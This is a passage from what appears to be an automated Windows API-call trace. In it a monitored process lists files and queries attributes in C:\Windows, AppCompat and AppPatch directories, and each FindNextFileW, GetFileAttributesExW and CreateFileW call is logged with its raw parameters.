	[0086.307] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80cc6128, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80cc6128, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="twain_32", cAlternateFileName="")) returned 1
	[0086.307] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3bc54f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3bc54f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3bc54f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="twain_32.dll", cAlternateFileName="")) returned 1
	[0086.307] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5193c78, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0xe5193c78, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0x2f66937c, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0xc210, dwReserved0=0x0, dwReserved1=0x0, cFileName="twunk_16.exe", cAlternateFileName="")) returned 1
	[0086.307] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x149c5632, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x149c5632, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x77d4a690, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="twunk_32.exe", cAlternateFileName="")) returned 1
	[0086.307] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a56640, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x89a56640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf1490400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x27, dwReserved0=0x0, dwReserved1=0x0, cFileName="vbaddin.ini", cAlternateFileName="")) returned 1
	[0086.307] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12d6252, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x12d6252, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x12d6252, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vss", cAlternateFileName="")) returned 1
	[0086.307] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12fc3ac, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web", cAlternateFileName="")) returned 1
	[0086.307] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadc7ce10, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xadc7ce10, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x249a330, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1de, dwReserved0=0x0, dwReserved1=0x0, cFileName="win.ini", cAlternateFileName="")) returned 1
	[0086.307] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x2870a176, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2870a176, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28b347fe, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsShell.Manifest", cAlternateFileName="WINDOW~1.MAN")) returned 1
	[0086.307] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14519fc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14519fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c655760, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x1e51f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsUpdate.log", cAlternateFileName="WINDOW~1.LOG")) returned 1
	[0086.307] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc68ade7e, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc68ade7e, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x795b1f80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="winhlp32.exe", cAlternateFileName="")) returned 1
	[0086.307] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12fc3ac, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xbbbe9b70, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xbbbe9b70, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="winsxs", cAlternateFileName="")) returned 1
	[0086.307] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67827cf3, ftCreationTime.dwHighDateTime=0x1c9ea0d, ftLastAccessTime.dwLowDateTime=0x67827cf3, ftLastAccessTime.dwHighDateTime=0x1c9ea0d, ftLastWriteTime.dwLowDateTime=0x6784de51, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4d4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMSysPr9.prx", cAlternateFileName="")) returned 1
	[0086.307] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89802aba, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x89802aba, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfeb14f80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="write.exe", cAlternateFileName="")) returned 1
	[0086.307] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa64 | out: lpFindFileData=0x127efa64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.307] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.307] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppCompat" (normalized: "c:\\windows\\appcompat"), fInfoLevelId=0x0, lpFileInformation=0x123fde58 | out: lpFileInformation=0x123fde58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdb0c77c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdb0c77c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.307] CreateFileW (lpFileName="C:\\Windows\\AppCompat" (normalized: "c:\\windows\\appcompat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.307] FindFirstFileW (in: lpFileName="C:\\Windows\\AppCompat\\*", lpFindFileData=0x127ef9e0 | out: lpFindFileData=0x127ef9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdb0c77c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdb0c77c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.308] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdb0c77c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdb0c77c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.308] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e3283f0, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x2e3283f0, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1
	[0086.308] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.308] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.308] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppCompat\\Programs" (normalized: "c:\\windows\\appcompat\\programs"), fInfoLevelId=0x0, lpFileInformation=0x123fdef8 | out: lpFileInformation=0x123fdef8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e3283f0, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x2e3283f0, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.308] CreateFileW (lpFileName="C:\\Windows\\AppCompat\\Programs" (normalized: "c:\\windows\\appcompat\\programs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.308] FindFirstFileW (in: lpFileName="C:\\Windows\\AppCompat\\Programs\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e3283f0, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x2e3283f0, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.308] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e3283f0, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x2e3283f0, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.308] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x2e3283f0, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2e3283f0, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3d9f7230, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x336a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentFileCache.bcf", cAlternateFileName="RECENT~1.BCF")) returned 1
	[0086.308] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.308] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.308] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppCompat\\Programs\\RecentFileCache.bcf" (normalized: "c:\\windows\\appcompat\\programs\\recentfilecache.bcf"), fInfoLevelId=0x0, lpFileInformation=0x123fdf98 | out: lpFileInformation=0x123fdf98*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x2e3283f0, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2e3283f0, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3d9f7230, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x336a)) returned 1
	[0086.309] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch" (normalized: "c:\\windows\\apppatch"), fInfoLevelId=0x0, lpFileInformation=0x127e2008 | out: lpFileInformation=0x127e2008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb328d6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x57087b83, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x57087b83, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0086.309] CreateFileW (lpFileName="C:\\Windows\\AppPatch" (normalized: "c:\\windows\\apppatch"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.309] FindFirstFileW (in: lpFileName="C:\\Windows\\AppPatch\\*", lpFindFileData=0x127ef9e0 | out: lpFindFileData=0x127ef9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb328d6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x57087b83, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x57087b83, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.309] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb328d6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x57087b83, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x57087b83, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.309] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab3bc5e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ab3bc5e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ab87f1f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x213200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcGenral.dll", cAlternateFileName="")) returned 1
	[0086.309] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89ebc8c7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89ebc8c7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89f08b88, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x89400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcLayers.dll", cAlternateFileName="")) returned 1
	[0086.309] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f511ee, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x66f511ee, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xf11e1150, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcRes.dll", cAlternateFileName="")) returned 1
	[0086.309] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x761d0cd0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x761d0cd0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x7d3bb510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x73c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcSpecfc.dll", cAlternateFileName="")) returned 1
	[0086.309] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe234c5df, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xe234c5df, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7d5cf8b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="acwow64.dll", cAlternateFileName="")) returned 1
	[0086.309] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x678fcb0d, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x678fcb0d, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x7d6424a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcXtrnal.dll", cAlternateFileName="")) returned 1
	[0086.309] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7828c580, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7828c580, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="apihex86.dll", cAlternateFileName="")) returned 1
	[0086.309] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb328d6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571de7e6, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x571de7e6, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPatch64", cAlternateFileName="APPPAT~1")) returned 1
	[0086.309] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb58a30, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdb58a30, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdb58a30, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Custom", cAlternateFileName="")) returned 1
	[0086.309] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89f08b88, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89f08b88, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89f2ece8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2504e, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvmain.sdb", cAlternateFileName="")) returned 1
	[0086.309] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x368b31d3, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23fb0799, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0086.309] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89f2ece8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89f2ece8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a11decc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1aeae2, dwReserved0=0x0, dwReserved1=0x0, cFileName="msimain.sdb", cAlternateFileName="")) returned 1
	[0086.309] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7339606, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7339606, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa7339606, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xaf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="pcamain.sdb", cAlternateFileName="")) returned 1
	[0086.309] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a11decc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a11decc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a1dc5ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3e2f48, dwReserved0=0x0, dwReserved1=0x0, cFileName="sysmain.sdb", cAlternateFileName="")) returned 1
	[0086.309] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127efa00 | out: lpFindFileData=0x127efa00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.309] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.310] GetFileAttributesExW (in: lpFileName="C:\\Windows\\AppPatch\\AcGenral.dll" (normalized: "c:\\windows\\apppatch\\acgenral.dll"), fInfoLevelId=0x0, lpFileInformation=0x127e2508 | out: lpFileInformation=0x127e2508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab3bc5e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ab3bc5e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ab87f1f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x213200)) returned 1
